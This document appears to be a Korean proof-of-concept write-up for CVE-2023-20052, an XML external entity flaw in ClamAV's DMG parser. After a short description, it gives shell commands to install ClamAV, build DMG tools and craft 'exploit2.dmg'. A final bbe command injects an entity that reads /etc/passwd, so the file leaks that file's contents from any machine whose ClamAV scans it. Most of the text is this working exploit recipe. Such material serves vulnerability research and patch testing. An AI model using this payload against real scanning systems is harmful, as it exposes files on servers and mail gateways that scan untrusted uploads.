
CVE-2023-20052 ClamAV의 DMG 파일 파서에서 정보 유출 취약점
CVE-2023-20052 ClamAV DMG 파일 파서 정보 유출 취약점
ClamAV 버전 1.0.0 및 이전, 0.105.1 및 이전, 0.103.7 및 이전의 DMG 파일 파서에 있는 취약점으로, 인증되지 않은 원격 공격자가 영향을 받는 장치의 민감한 정보에 접근할 수 있습니다. 이 취약점은 XML 엔티티 치환을 활성화하여 XML 외부 엔티티 주입이 발생할 수 있기 때문입니다. 공격자는 조작된 DMG 파일을 제출하여 영향을 받는 장치에서 ClamAV가 스캔하도록 함으로써 이 취약점을 악용할 수 있습니다. 성공적인 악용 시 공격자는 ClamAV 스캔 프로세스가 읽을 수 있는 모든 파일에서 바이트를 유출할 수 있습니다.
sudo dpkg -i package-name.deb

sudo apt install -f
mkdir /usr/local/share/clamav
mv /usr/local/etc/freshclam.conf.sample /usr/local/etc/freshclam.conf

sudo adduser clamav

sudo chown -R 1002:1003 /usr/local/share/clamav
sudo freshclam



apt-get update
apt-get install -y ca-certificates gnupg wget
echo "deb http://archive.debian.org/debian-security stretch/updates main" >> /etc/apt/sources.list
wget -q -O - https://ftp-master.debian.org/keys/archive-key-9-security.asc | apt-key add -
apt-get update -y
sudo apt install -y libssl1.0-dev gcc g++ cmake zlib1g-dev genisoimage bbe git hfsplus

cd /libdmg-hfsplus
cmake .

make

cp dmg/dmg /bin
sudo genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg

bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit2.dmg

